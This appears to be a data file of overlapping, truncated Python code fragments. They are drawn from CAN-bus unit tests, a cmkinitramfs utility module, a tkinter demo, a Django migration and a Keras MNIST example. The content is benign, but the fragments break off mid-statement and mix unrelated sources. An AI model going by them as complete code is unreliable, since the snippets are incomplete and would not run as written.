"load_dbc(\"./some_file_path\") can_send(\"some message\", \"vcan0\", time=20) self.assertEqual(1, self.arbitration_id) self.assertEqual(bytearray(b'\\x01\\x02'), self.data) @patch('cantools.database.load_file') def test_can_send_fail(self, mock_load_file):",
"None self.data = None self.device_id = None self.channel = None # pylint: disable=missing-docstring",
"can_msg.send.return_value = 3 can_msg.send.side_effect = parameter_test database = Mock() database.get_message_by_name.return_value = msg_obj mock_load_file.return_value",
"= 1 msg_obj.encode.return_value = [1, 2] # Calling bus.send() triggers parameter test can_msg",
"self.assertRaises(Exception, load_dbc, \"./some-file-path\") @patch('cantools.database.load_file') @patch('can_util.get_bus') def test_can_send_parameters(self, mock_get_bus, mock_load_file): \"\"\"Tests accuracy of paramters",
"parameter_test can_send_raw(0, [10, 255, 0], BABYDRIVER_DEVICE_ID, None) self.assertEqual(0, self.msg_id) self.assertEqual([10, 255, 0], self.data)",
"channel # Checks whether parameters passed into can_send_raw match # parameters passed into",
"msg_obj mock_load_file.return_value = database # dbc_database must be initialized before using can_send load_dbc(\"./some_file_path\")",
"can_send_raw\"\"\" # Stores parameters passed into can_util.send_message # pylint: disable=attribute-defined-outside-init self.msg_id = None",
"self.assertEqual(BABYDRIVER_DEVICE_ID, self.device_id) self.assertEqual(None, self.channel) @patch('can_util.send_message') def test_can_send_raw_fail(self, mock_send_message): \"\"\"Tests that can_send_raw raises an",
"= None self.data = None self.device_id = None self.channel = None # pylint:",
"1 # An error is raised when msg_obj data is encoded msg_obj.encode.side_effect =",
"if no file is found\"\"\" mock_cantools_load_file.side_effect = can.CanError self.assertRaises(Exception, load_dbc, \"./some-file-path\") @patch('cantools.database.load_file') @patch('can_util.get_bus')",
"in Babydriver's can_send module\"\"\" @patch('can_util.send_message') def test_can_send_raw_parameters(self, mock_send_message): \"\"\"Tests accuracy of parameters passed",
"255, 0], self.data) self.assertEqual(BABYDRIVER_DEVICE_ID, self.device_id) self.assertEqual(None, self.channel) @patch('can_util.send_message') def test_can_send_raw_fail(self, mock_send_message): \"\"\"Tests that",
"def test_can_send_parameters(self, mock_get_bus, mock_load_file): \"\"\"Tests accuracy of paramters passed into can_send\"\"\" # pylint:",
"= can_msg.data # Creates mock object with frame_id attribute and encode function msg_obj",
"self.data = can_msg.data # Creates mock object with frame_id attribute and encode function",
"self.arbitration_id) self.assertEqual(bytearray(b'\\x01\\x02'), self.data) @patch('cantools.database.load_file') def test_can_send_fail(self, mock_load_file): \"\"\"Tests that can_send raises an Exception",
"can_send import can_send_raw, load_dbc, can_send class TestCanSendRaw(unittest.TestCase): \"\"\"Tests functions in Babydriver's can_send module\"\"\"",
"can_msg.arbitration_id self.data = can_msg.data # Creates mock object with frame_id attribute and encode",
"pylint: disable=missing-docstring def parameter_test(msg_id, data, device_id=BABYDRIVER_DEVICE_ID, channel=None): self.msg_id = msg_id self.data = data",
"if msg_obj data cannot be encoded\"\"\" msg_obj = Mock() msg_obj.frame_id = 1 #",
"mock_send_message.side_effect = can.CanError mock_msg_id = 0 mock_data = [0, 0, 255] self.assertRaises(Exception, can_send_raw,",
"mock_load_file): \"\"\"Tests that can_send raises an Exception if msg_obj data cannot be encoded\"\"\"",
"send\"\"\" mock_send_message.side_effect = can.CanError mock_msg_id = 0 mock_data = [0, 0, 255] self.assertRaises(Exception,",
"\"vcan0\", time=20) self.assertEqual(1, self.arbitration_id) self.assertEqual(bytearray(b'\\x01\\x02'), self.data) @patch('cantools.database.load_file') def test_can_send_fail(self, mock_load_file): \"\"\"Tests that can_send",
"mock_send_message): \"\"\"Tests that can_send_raw raises an Exception if CAN msg fails to send\"\"\"",
"msg_obj = Mock() msg_obj.frame_id = 1 # An error is raised when msg_obj",
"device_id=BABYDRIVER_DEVICE_ID, channel=None): self.msg_id = msg_id self.data = data self.device_id = device_id self.channel =",
"= can.CanError database = Mock() database.get_message_by_name.return_value = msg_obj mock_load_file.return_value = database # dbc_database",
"pylint: disable=missing-docstring def parameter_test(can_msg): self.arbitration_id = can_msg.arbitration_id self.data = can_msg.data # Creates mock",
"Mock() can_msg.send.return_value = 3 can_msg.send.side_effect = parameter_test database = Mock() database.get_message_by_name.return_value = msg_obj",
"self.assertRaises(Exception, can_send_raw, mock_msg_id, mock_data) @patch('cantools.database.load_file') def test_load_dbc_fail(self, mock_cantools_load_file): \"\"\"Tests that load_dbc raises an",
"mock_cantools_load_file): \"\"\"Tests that load_dbc raises an Exception if no file is found\"\"\" mock_cantools_load_file.side_effect"
] |
[
"Path of the file to hash :param chunk_size: Number of bytes per chunk",
"Python < 3.9. :param string: String to remove prefix from :param prefix: Prefix",
"return string def normpath(path: str) -> str: \"\"\"Normalize path (actually eliminates double slashes)",
"Prefix to remove \"\"\" # return string.removeprefix(prefix) if string.startswith(prefix): return string[len(prefix):] return string",
"for Python < 3.9. :param string: String to remove prefix from :param prefix:",
"path: Path to normalize \"\"\" return os.path.normpath(path).replace('//', '/') @functools.lru_cache() def hash_file(filepath: str, chunk_size:",
"string[len(prefix):] return string def normpath(path: str) -> str: \"\"\"Normalize path (actually eliminates double",
"import hashlib import os.path # Function needed for python < 3.9 def removeprefix(string:",
"string Add support for :meth:`str.removeprefix` for Python < 3.9. :param string: String to",
"a prefix from a string Add support for :meth:`str.removeprefix` for Python < 3.9.",
":return: File hash in a :class:`bytes` object \"\"\" sha512 = hashlib.sha512() with open(filepath,",
"str: \"\"\"Normalize path (actually eliminates double slashes) :param path: Path to normalize \"\"\"",
"remove prefix from :param prefix: Prefix to remove \"\"\" # return string.removeprefix(prefix) if",
"os.path.normpath(path).replace('//', '/') @functools.lru_cache() def hash_file(filepath: str, chunk_size: int = 65536) -> bytes: \"\"\"Calculate",
"remove \"\"\" # return string.removeprefix(prefix) if string.startswith(prefix): return string[len(prefix):] return string def normpath(path:",
"string.startswith(prefix): return string[len(prefix):] return string def normpath(path: str) -> str: \"\"\"Normalize path (actually",
"prefix from a string Add support for :meth:`str.removeprefix` for Python < 3.9. :param",
"cmkinitramfs\"\"\" from __future__ import annotations import functools import hashlib import os.path # Function",
"to remove \"\"\" # return string.removeprefix(prefix) if string.startswith(prefix): return string[len(prefix):] return string def",
"of a file :param filepath: Path of the file to hash :param chunk_size:",
"eliminates double slashes) :param path: Path to normalize \"\"\" return os.path.normpath(path).replace('//', '/') @functools.lru_cache()",
"prefix from :param prefix: Prefix to remove \"\"\" # return string.removeprefix(prefix) if string.startswith(prefix):",
"chunk of file to hash :return: File hash in a :class:`bytes` object \"\"\"",
"def hash_file(filepath: str, chunk_size: int = 65536) -> bytes: \"\"\"Calculate the SHA512 of",
"Path to normalize \"\"\" return os.path.normpath(path).replace('//', '/') @functools.lru_cache() def hash_file(filepath: str, chunk_size: int",
"\"\"\"Calculate the SHA512 of a file :param filepath: Path of the file to",
"bytes per chunk of file to hash :return: File hash in a :class:`bytes`",
"str, chunk_size: int = 65536) -> bytes: \"\"\"Calculate the SHA512 of a file",
"per chunk of file to hash :return: File hash in a :class:`bytes` object",
"needed for python < 3.9 def removeprefix(string: str, prefix: str) -> str: \"\"\"Remove",
"-> str: \"\"\"Remove a prefix from a string Add support for :meth:`str.removeprefix` for",
"Function needed for python < 3.9 def removeprefix(string: str, prefix: str) -> str:",
"support for :meth:`str.removeprefix` for Python < 3.9. :param string: String to remove prefix",
"file :param filepath: Path of the file to hash :param chunk_size: Number of",
"@functools.lru_cache() def hash_file(filepath: str, chunk_size: int = 65536) -> bytes: \"\"\"Calculate the SHA512",
"import annotations import functools import hashlib import os.path # Function needed for python",
"hash_file(filepath: str, chunk_size: int = 65536) -> bytes: \"\"\"Calculate the SHA512 of a",
"3.9 def removeprefix(string: str, prefix: str) -> str: \"\"\"Remove a prefix from a",
"String to remove prefix from :param prefix: Prefix to remove \"\"\" # return",
":class:`bytes` object \"\"\" sha512 = hashlib.sha512() with open(filepath, 'rb') as src: for chunk",
"annotations import functools import hashlib import os.path # Function needed for python <",
"a string Add support for :meth:`str.removeprefix` for Python < 3.9. :param string: String",
"\"\"\" sha512 = hashlib.sha512() with open(filepath, 'rb') as src: for chunk in iter(lambda:",
"\"\"\"Remove a prefix from a string Add support for :meth:`str.removeprefix` for Python <",
"-> str: \"\"\"Normalize path (actually eliminates double slashes) :param path: Path to normalize",
"string def normpath(path: str) -> str: \"\"\"Normalize path (actually eliminates double slashes) :param",
"65536) -> bytes: \"\"\"Calculate the SHA512 of a file :param filepath: Path of",
"normalize \"\"\" return os.path.normpath(path).replace('//', '/') @functools.lru_cache() def hash_file(filepath: str, chunk_size: int = 65536)",
"Number of bytes per chunk of file to hash :return: File hash in",
"functools import hashlib import os.path # Function needed for python < 3.9 def",
"def removeprefix(string: str, prefix: str) -> str: \"\"\"Remove a prefix from a string",
"3.9. :param string: String to remove prefix from :param prefix: Prefix to remove",
"path (actually eliminates double slashes) :param path: Path to normalize \"\"\" return os.path.normpath(path).replace('//',",
"used by cmkinitramfs\"\"\" from __future__ import annotations import functools import hashlib import os.path",
"hash in a :class:`bytes` object \"\"\" sha512 = hashlib.sha512() with open(filepath, 'rb') as",
"object \"\"\" sha512 = hashlib.sha512() with open(filepath, 'rb') as src: for chunk in",
"file to hash :return: File hash in a :class:`bytes` object \"\"\" sha512 =",
"by cmkinitramfs\"\"\" from __future__ import annotations import functools import hashlib import os.path #",
"the file to hash :param chunk_size: Number of bytes per chunk of file",
"a file :param filepath: Path of the file to hash :param chunk_size: Number",
"File hash in a :class:`bytes` object \"\"\" sha512 = hashlib.sha512() with open(filepath, 'rb')",
"= hashlib.sha512() with open(filepath, 'rb') as src: for chunk in iter(lambda: src.read(chunk_size), b''):",
"import os.path # Function needed for python < 3.9 def removeprefix(string: str, prefix:",
":param prefix: Prefix to remove \"\"\" # return string.removeprefix(prefix) if string.startswith(prefix): return string[len(prefix):]",
"of bytes per chunk of file to hash :return: File hash in a",
"\"\"\" # return string.removeprefix(prefix) if string.startswith(prefix): return string[len(prefix):] return string def normpath(path: str)",
"'/') @functools.lru_cache() def hash_file(filepath: str, chunk_size: int = 65536) -> bytes: \"\"\"Calculate the",
"import functools import hashlib import os.path # Function needed for python < 3.9",
"filepath: Path of the file to hash :param chunk_size: Number of bytes per",
"str) -> str: \"\"\"Remove a prefix from a string Add support for :meth:`str.removeprefix`",
"slashes) :param path: Path to normalize \"\"\" return os.path.normpath(path).replace('//', '/') @functools.lru_cache() def hash_file(filepath:",
":meth:`str.removeprefix` for Python < 3.9. :param string: String to remove prefix from :param",
"chunk_size: int = 65536) -> bytes: \"\"\"Calculate the SHA512 of a file :param",
"if string.startswith(prefix): return string[len(prefix):] return string def normpath(path: str) -> str: \"\"\"Normalize path",
"return string.removeprefix(prefix) if string.startswith(prefix): return string[len(prefix):] return string def normpath(path: str) -> str:",
"a :class:`bytes` object \"\"\" sha512 = hashlib.sha512() with open(filepath, 'rb') as src: for",
"str, prefix: str) -> str: \"\"\"Remove a prefix from a string Add support",
"int = 65536) -> bytes: \"\"\"Calculate the SHA512 of a file :param filepath:",
"file to hash :param chunk_size: Number of bytes per chunk of file to",
"\"\"\"Normalize path (actually eliminates double slashes) :param path: Path to normalize \"\"\" return",
"python < 3.9 def removeprefix(string: str, prefix: str) -> str: \"\"\"Remove a prefix",
":param chunk_size: Number of bytes per chunk of file to hash :return: File",
"-> bytes: \"\"\"Calculate the SHA512 of a file :param filepath: Path of the",
"hash :return: File hash in a :class:`bytes` object \"\"\" sha512 = hashlib.sha512() with",
"the SHA512 of a file :param filepath: Path of the file to hash",
"to normalize \"\"\" return os.path.normpath(path).replace('//', '/') @functools.lru_cache() def hash_file(filepath: str, chunk_size: int =",
"double slashes) :param path: Path to normalize \"\"\" return os.path.normpath(path).replace('//', '/') @functools.lru_cache() def",
"\"\"\" return os.path.normpath(path).replace('//', '/') @functools.lru_cache() def hash_file(filepath: str, chunk_size: int = 65536) ->",
"from :param prefix: Prefix to remove \"\"\" # return string.removeprefix(prefix) if string.startswith(prefix): return",
"from a string Add support for :meth:`str.removeprefix` for Python < 3.9. :param string:",
"with open(filepath, 'rb') as src: for chunk in iter(lambda: src.read(chunk_size), b''): sha512.update(chunk) return",
":param path: Path to normalize \"\"\" return os.path.normpath(path).replace('//', '/') @functools.lru_cache() def hash_file(filepath: str,",
"prefix: Prefix to remove \"\"\" # return string.removeprefix(prefix) if string.startswith(prefix): return string[len(prefix):] return",
"open(filepath, 'rb') as src: for chunk in iter(lambda: src.read(chunk_size), b''): sha512.update(chunk) return sha512.digest()",
"\"\"\"Module providing miscellaneous utilities used by cmkinitramfs\"\"\" from __future__ import annotations import functools",
"os.path # Function needed for python < 3.9 def removeprefix(string: str, prefix: str)",
"chunk_size: Number of bytes per chunk of file to hash :return: File hash",
"string.removeprefix(prefix) if string.startswith(prefix): return string[len(prefix):] return string def normpath(path: str) -> str: \"\"\"Normalize",
"(actually eliminates double slashes) :param path: Path to normalize \"\"\" return os.path.normpath(path).replace('//', '/')",
"def normpath(path: str) -> str: \"\"\"Normalize path (actually eliminates double slashes) :param path:",
"utilities used by cmkinitramfs\"\"\" from __future__ import annotations import functools import hashlib import",
"in a :class:`bytes` object \"\"\" sha512 = hashlib.sha512() with open(filepath, 'rb') as src:",
"for :meth:`str.removeprefix` for Python < 3.9. :param string: String to remove prefix from",
"providing miscellaneous utilities used by cmkinitramfs\"\"\" from __future__ import annotations import functools import",
"SHA512 of a file :param filepath: Path of the file to hash :param",
"removeprefix(string: str, prefix: str) -> str: \"\"\"Remove a prefix from a string Add",
"Add support for :meth:`str.removeprefix` for Python < 3.9. :param string: String to remove",
"hash :param chunk_size: Number of bytes per chunk of file to hash :return:",
"str: \"\"\"Remove a prefix from a string Add support for :meth:`str.removeprefix` for Python",
"< 3.9 def removeprefix(string: str, prefix: str) -> str: \"\"\"Remove a prefix from",
"from __future__ import annotations import functools import hashlib import os.path # Function needed",
"to hash :return: File hash in a :class:`bytes` object \"\"\" sha512 = hashlib.sha512()",
"bytes: \"\"\"Calculate the SHA512 of a file :param filepath: Path of the file",
"to hash :param chunk_size: Number of bytes per chunk of file to hash",
"prefix: str) -> str: \"\"\"Remove a prefix from a string Add support for",
"# Function needed for python < 3.9 def removeprefix(string: str, prefix: str) ->",
"to remove prefix from :param prefix: Prefix to remove \"\"\" # return string.removeprefix(prefix)",
"of the file to hash :param chunk_size: Number of bytes per chunk of",
"miscellaneous utilities used by cmkinitramfs\"\"\" from __future__ import annotations import functools import hashlib",
"normpath(path: str) -> str: \"\"\"Normalize path (actually eliminates double slashes) :param path: Path",
":param string: String to remove prefix from :param prefix: Prefix to remove \"\"\"",
"sha512 = hashlib.sha512() with open(filepath, 'rb') as src: for chunk in iter(lambda: src.read(chunk_size),",
"# return string.removeprefix(prefix) if string.startswith(prefix): return string[len(prefix):] return string def normpath(path: str) ->",
":param filepath: Path of the file to hash :param chunk_size: Number of bytes",
"of file to hash :return: File hash in a :class:`bytes` object \"\"\" sha512",
"< 3.9. :param string: String to remove prefix from :param prefix: Prefix to",
"for python < 3.9 def removeprefix(string: str, prefix: str) -> str: \"\"\"Remove a",
"__future__ import annotations import functools import hashlib import os.path # Function needed for",
"return os.path.normpath(path).replace('//', '/') @functools.lru_cache() def hash_file(filepath: str, chunk_size: int = 65536) -> bytes:",
"return string[len(prefix):] return string def normpath(path: str) -> str: \"\"\"Normalize path (actually eliminates",
"string: String to remove prefix from :param prefix: Prefix to remove \"\"\" #",
"= 65536) -> bytes: \"\"\"Calculate the SHA512 of a file :param filepath: Path",
"hashlib import os.path # Function needed for python < 3.9 def removeprefix(string: str,",
"str) -> str: \"\"\"Normalize path (actually eliminates double slashes) :param path: Path to",
"hashlib.sha512() with open(filepath, 'rb') as src: for chunk in iter(lambda: src.read(chunk_size), b''): sha512.update(chunk)"
] |
[
"+ data[0] + \"', label:'\"+ data[0] + \" \" + data[2] + \"",
"f = open(\"stdList.tsv\").readlines() obj = \"\" data = [] for txtLine in f:",
"\" \" + data[2] + \" (\" + data[1] + \" \" +",
"in f: data = txtLine.split('\\t') obj += \"{value:'\" + data[0] + \"', label:'\"+",
"txtLine in f: data = txtLine.split('\\t') obj += \"{value:'\" + data[0] + \"',",
"data = [] for txtLine in f: data = txtLine.split('\\t') obj += \"{value:'\"",
"\"', label:'\"+ data[0] + \" \" + data[2] + \" (\" + data[1]",
"open(\"stdList.tsv\").readlines() obj = \"\" data = [] for txtLine in f: data =",
"+ \"\\n\" print(obj) obj = str('['+ obj +']').replace(',]',']') save = open(\"mahor_th_en.js\", \"w\") save.write(obj)",
"f: data = txtLine.split('\\t') obj += \"{value:'\" + data[0] + \"', label:'\"+ data[0]",
"\")'},\" + \"\\n\" print(obj) obj = str('['+ obj +']').replace(',]',']') save = open(\"mahor_th_en.js\", \"w\")",
"data = txtLine.split('\\t') obj += \"{value:'\" + data[0] + \"', label:'\"+ data[0] +",
"+ data[2] + \" (\" + data[1] + \" \" + data[3].replace('\\n','') +",
"+ \"', label:'\"+ data[0] + \" \" + data[2] + \" (\" +",
"\" + data[2] + \" (\" + data[1] + \" \" + data[3].replace('\\n','')",
"+ data[3].replace('\\n','') + \")'},\" + \"\\n\" print(obj) obj = str('['+ obj +']').replace(',]',']') save",
"= open(\"stdList.tsv\").readlines() obj = \"\" data = [] for txtLine in f: data",
"+ \")'},\" + \"\\n\" print(obj) obj = str('['+ obj +']').replace(',]',']') save = open(\"mahor_th_en.js\",",
"\" \" + data[3].replace('\\n','') + \")'},\" + \"\\n\" print(obj) obj = str('['+ obj",
"obj += \"{value:'\" + data[0] + \"', label:'\"+ data[0] + \" \" +",
"= txtLine.split('\\t') obj += \"{value:'\" + data[0] + \"', label:'\"+ data[0] + \"",
"\" + data[3].replace('\\n','') + \")'},\" + \"\\n\" print(obj) obj = str('['+ obj +']').replace(',]',']')",
"+ \" \" + data[3].replace('\\n','') + \")'},\" + \"\\n\" print(obj) obj = str('['+",
"\" (\" + data[1] + \" \" + data[3].replace('\\n','') + \")'},\" + \"\\n\"",
"= [] for txtLine in f: data = txtLine.split('\\t') obj += \"{value:'\" +",
"data[1] + \" \" + data[3].replace('\\n','') + \")'},\" + \"\\n\" print(obj) obj =",
"data[2] + \" (\" + data[1] + \" \" + data[3].replace('\\n','') + \")'},\"",
"(\" + data[1] + \" \" + data[3].replace('\\n','') + \")'},\" + \"\\n\" print(obj)",
"data[0] + \" \" + data[2] + \" (\" + data[1] + \"",
"obj = \"\" data = [] for txtLine in f: data = txtLine.split('\\t')",
"data[0] + \"', label:'\"+ data[0] + \" \" + data[2] + \" (\"",
"\"\" data = [] for txtLine in f: data = txtLine.split('\\t') obj +=",
"txtLine.split('\\t') obj += \"{value:'\" + data[0] + \"', label:'\"+ data[0] + \" \"",
"[] for txtLine in f: data = txtLine.split('\\t') obj += \"{value:'\" + data[0]",
"label:'\"+ data[0] + \" \" + data[2] + \" (\" + data[1] +",
"+= \"{value:'\" + data[0] + \"', label:'\"+ data[0] + \" \" + data[2]",
"for txtLine in f: data = txtLine.split('\\t') obj += \"{value:'\" + data[0] +",
"\"{value:'\" + data[0] + \"', label:'\"+ data[0] + \" \" + data[2] +",
"data[3].replace('\\n','') + \")'},\" + \"\\n\" print(obj) obj = str('['+ obj +']').replace(',]',']') save =",
"+ \" (\" + data[1] + \" \" + data[3].replace('\\n','') + \")'},\" +",
"+ data[1] + \" \" + data[3].replace('\\n','') + \")'},\" + \"\\n\" print(obj) obj",
"= \"\" data = [] for txtLine in f: data = txtLine.split('\\t') obj",
"+ \" \" + data[2] + \" (\" + data[1] + \" \""
] |
[
"Checkbutton, IntVar def update_label(): if var.get() == 1: label_text.set(\"On\") else: label_text.set(\"Off\") window =",
"var.get() == 1: label_text.set(\"On\") else: label_text.set(\"Off\") window = Tk() label_text = StringVar() label",
"StringVar() label = Label(window, textvariable=label_text) label_text.set(\"Off\") var = IntVar() check= Checkbutton(window, text=\"On\", variable=var,",
"Label(window, textvariable=label_text) label_text.set(\"Off\") var = IntVar() check= Checkbutton(window, text=\"On\", variable=var, onvalue=1, offvalue=0, command=update_label)",
"else: label_text.set(\"Off\") window = Tk() label_text = StringVar() label = Label(window, textvariable=label_text) label_text.set(\"Off\")",
"update_label(): if var.get() == 1: label_text.set(\"On\") else: label_text.set(\"Off\") window = Tk() label_text =",
"textvariable=label_text) label_text.set(\"Off\") var = IntVar() check= Checkbutton(window, text=\"On\", variable=var, onvalue=1, offvalue=0, command=update_label) label.pack()",
"var = IntVar() check= Checkbutton(window, text=\"On\", variable=var, onvalue=1, offvalue=0, command=update_label) label.pack() check.pack(side=\"left\") window.mainloop()",
"label_text = StringVar() label = Label(window, textvariable=label_text) label_text.set(\"Off\") var = IntVar() check= Checkbutton(window,",
"== 1: label_text.set(\"On\") else: label_text.set(\"Off\") window = Tk() label_text = StringVar() label =",
"label_text.set(\"Off\") window = Tk() label_text = StringVar() label = Label(window, textvariable=label_text) label_text.set(\"Off\") var",
"Label, Checkbutton, IntVar def update_label(): if var.get() == 1: label_text.set(\"On\") else: label_text.set(\"Off\") window",
"= StringVar() label = Label(window, textvariable=label_text) label_text.set(\"Off\") var = IntVar() check= Checkbutton(window, text=\"On\",",
"label_text.set(\"On\") else: label_text.set(\"Off\") window = Tk() label_text = StringVar() label = Label(window, textvariable=label_text)",
"def update_label(): if var.get() == 1: label_text.set(\"On\") else: label_text.set(\"Off\") window = Tk() label_text",
"1: label_text.set(\"On\") else: label_text.set(\"Off\") window = Tk() label_text = StringVar() label = Label(window,",
"from tkinter import StringVar, Tk, Label, Checkbutton, IntVar def update_label(): if var.get() ==",
"Tk, Label, Checkbutton, IntVar def update_label(): if var.get() == 1: label_text.set(\"On\") else: label_text.set(\"Off\")",
"= Label(window, textvariable=label_text) label_text.set(\"Off\") var = IntVar() check= Checkbutton(window, text=\"On\", variable=var, onvalue=1, offvalue=0,",
"tkinter import StringVar, Tk, Label, Checkbutton, IntVar def update_label(): if var.get() == 1:",
"window = Tk() label_text = StringVar() label = Label(window, textvariable=label_text) label_text.set(\"Off\") var =",
"label_text.set(\"Off\") var = IntVar() check= Checkbutton(window, text=\"On\", variable=var, onvalue=1, offvalue=0, command=update_label) label.pack() check.pack(side=\"left\")",
"if var.get() == 1: label_text.set(\"On\") else: label_text.set(\"Off\") window = Tk() label_text = StringVar()",
"import StringVar, Tk, Label, Checkbutton, IntVar def update_label(): if var.get() == 1: label_text.set(\"On\")",
"StringVar, Tk, Label, Checkbutton, IntVar def update_label(): if var.get() == 1: label_text.set(\"On\") else:",
"label = Label(window, textvariable=label_text) label_text.set(\"Off\") var = IntVar() check= Checkbutton(window, text=\"On\", variable=var, onvalue=1,",
"IntVar def update_label(): if var.get() == 1: label_text.set(\"On\") else: label_text.set(\"Off\") window = Tk()",
"<reponame>SayanGhoshBDA/code-backup from tkinter import StringVar, Tk, Label, Checkbutton, IntVar def update_label(): if var.get()",
"Tk() label_text = StringVar() label = Label(window, textvariable=label_text) label_text.set(\"Off\") var = IntVar() check=",
"= Tk() label_text = StringVar() label = Label(window, textvariable=label_text) label_text.set(\"Off\") var = IntVar()"
] |
[
"django.db import migrations class Migration(migrations.Migration): dependencies = [ ('travellifestyleblog22', '0008_alter_category_image'), ] operations =",
"2022-04-08 15:01 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('travellifestyleblog22', '0008_alter_category_image'),",
"on 2022-04-08 15:01 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('travellifestyleblog22',",
"Migration(migrations.Migration): dependencies = [ ('travellifestyleblog22', '0008_alter_category_image'), ] operations = [ migrations.RemoveField( model_name='category', name='image',",
"Generated by Django 3.2 on 2022-04-08 15:01 from django.db import migrations class Migration(migrations.Migration):",
"from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('travellifestyleblog22', '0008_alter_category_image'), ] operations",
"Django 3.2 on 2022-04-08 15:01 from django.db import migrations class Migration(migrations.Migration): dependencies =",
"import migrations class Migration(migrations.Migration): dependencies = [ ('travellifestyleblog22', '0008_alter_category_image'), ] operations = [",
"15:01 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('travellifestyleblog22', '0008_alter_category_image'), ]",
"3.2 on 2022-04-08 15:01 from django.db import migrations class Migration(migrations.Migration): dependencies = [",
"class Migration(migrations.Migration): dependencies = [ ('travellifestyleblog22', '0008_alter_category_image'), ] operations = [ migrations.RemoveField( model_name='category',",
"dependencies = [ ('travellifestyleblog22', '0008_alter_category_image'), ] operations = [ migrations.RemoveField( model_name='category', name='image', ),",
"migrations class Migration(migrations.Migration): dependencies = [ ('travellifestyleblog22', '0008_alter_category_image'), ] operations = [ migrations.RemoveField(",
"# Generated by Django 3.2 on 2022-04-08 15:01 from django.db import migrations class",
"= [ ('travellifestyleblog22', '0008_alter_category_image'), ] operations = [ migrations.RemoveField( model_name='category', name='image', ), ]",
"by Django 3.2 on 2022-04-08 15:01 from django.db import migrations class Migration(migrations.Migration): dependencies"
] |
[
"import keras from tensorflow.keras import layers from tensorflow.keras.datasets import mnist physical_devices = tf.config.list_physical_devices('GPU')",
"'relu'), layers.Dense(10) ] ) model.compile( loss= keras.losses.SparseCategoricalCrossentropy(from_logits=True), optimizer=keras.optimizers.Adam(lr=0.001), metrics=[\"accuracy\"], ) model.fit(x_train,y_train,batch_size=32,epochs=5,verbose=2) model.evaluate(x_test, y_test,",
"tensorflow as tf from tensorflow import keras from tensorflow.keras import layers from tensorflow.keras.datasets",
"= x_test.reshape(-1, 28*28).astype(\"float32\") / 255.0 #Sequential API model = keras.Sequential( [ layers.Dense(512,activation='relu'), layers.Dense(216,",
"/ 255.0 #Sequential API model = keras.Sequential( [ layers.Dense(512,activation='relu'), layers.Dense(216, activation = 'relu'),",
"layers.Dense(512,activation='relu'), layers.Dense(216, activation = 'relu'), layers.Dense(10) ] ) model.compile( loss= keras.losses.SparseCategoricalCrossentropy(from_logits=True), optimizer=keras.optimizers.Adam(lr=0.001), metrics=[\"accuracy\"],",
"from tensorflow.keras import layers from tensorflow.keras.datasets import mnist physical_devices = tf.config.list_physical_devices('GPU') print(physical_devices) (x_train,",
"tf.config.list_physical_devices('GPU') print(physical_devices) (x_train, y_train), (x_test, y_test) = mnist.load_data() x_train = x_train.reshape(-1, 28*28).astype(\"float32\") /",
"= x_train.reshape(-1, 28*28).astype(\"float32\") / 255.0 x_test = x_test.reshape(-1, 28*28).astype(\"float32\") / 255.0 #Sequential API",
"(x_train, y_train), (x_test, y_test) = mnist.load_data() x_train = x_train.reshape(-1, 28*28).astype(\"float32\") / 255.0 x_test",
"] ) model.compile( loss= keras.losses.SparseCategoricalCrossentropy(from_logits=True), optimizer=keras.optimizers.Adam(lr=0.001), metrics=[\"accuracy\"], ) model.fit(x_train,y_train,batch_size=32,epochs=5,verbose=2) model.evaluate(x_test, y_test, batch_size= 32,",
"print(physical_devices) (x_train, y_train), (x_test, y_test) = mnist.load_data() x_train = x_train.reshape(-1, 28*28).astype(\"float32\") / 255.0",
"255.0 x_test = x_test.reshape(-1, 28*28).astype(\"float32\") / 255.0 #Sequential API model = keras.Sequential( [",
"import tensorflow as tf from tensorflow import keras from tensorflow.keras import layers from",
"x_test.reshape(-1, 28*28).astype(\"float32\") / 255.0 #Sequential API model = keras.Sequential( [ layers.Dense(512,activation='relu'), layers.Dense(216, activation",
"layers.Dense(10) ] ) model.compile( loss= keras.losses.SparseCategoricalCrossentropy(from_logits=True), optimizer=keras.optimizers.Adam(lr=0.001), metrics=[\"accuracy\"], ) model.fit(x_train,y_train,batch_size=32,epochs=5,verbose=2) model.evaluate(x_test, y_test, batch_size=",
"= tf.config.list_physical_devices('GPU') print(physical_devices) (x_train, y_train), (x_test, y_test) = mnist.load_data() x_train = x_train.reshape(-1, 28*28).astype(\"float32\")",
"x_test = x_test.reshape(-1, 28*28).astype(\"float32\") / 255.0 #Sequential API model = keras.Sequential( [ layers.Dense(512,activation='relu'),",
"keras from tensorflow.keras import layers from tensorflow.keras.datasets import mnist physical_devices = tf.config.list_physical_devices('GPU') print(physical_devices)",
"y_train), (x_test, y_test) = mnist.load_data() x_train = x_train.reshape(-1, 28*28).astype(\"float32\") / 255.0 x_test =",
"layers.Dense(216, activation = 'relu'), layers.Dense(10) ] ) model.compile( loss= keras.losses.SparseCategoricalCrossentropy(from_logits=True), optimizer=keras.optimizers.Adam(lr=0.001), metrics=[\"accuracy\"], )",
"28*28).astype(\"float32\") / 255.0 x_test = x_test.reshape(-1, 28*28).astype(\"float32\") / 255.0 #Sequential API model =",
"= keras.Sequential( [ layers.Dense(512,activation='relu'), layers.Dense(216, activation = 'relu'), layers.Dense(10) ] ) model.compile( loss=",
"tensorflow.keras import layers from tensorflow.keras.datasets import mnist physical_devices = tf.config.list_physical_devices('GPU') print(physical_devices) (x_train, y_train),",
"import layers from tensorflow.keras.datasets import mnist physical_devices = tf.config.list_physical_devices('GPU') print(physical_devices) (x_train, y_train), (x_test,",
"= mnist.load_data() x_train = x_train.reshape(-1, 28*28).astype(\"float32\") / 255.0 x_test = x_test.reshape(-1, 28*28).astype(\"float32\") /",
") model.compile( loss= keras.losses.SparseCategoricalCrossentropy(from_logits=True), optimizer=keras.optimizers.Adam(lr=0.001), metrics=[\"accuracy\"], ) model.fit(x_train,y_train,batch_size=32,epochs=5,verbose=2) model.evaluate(x_test, y_test, batch_size= 32, verbose=2)",
"(x_test, y_test) = mnist.load_data() x_train = x_train.reshape(-1, 28*28).astype(\"float32\") / 255.0 x_test = x_test.reshape(-1,",
"import mnist physical_devices = tf.config.list_physical_devices('GPU') print(physical_devices) (x_train, y_train), (x_test, y_test) = mnist.load_data() x_train",
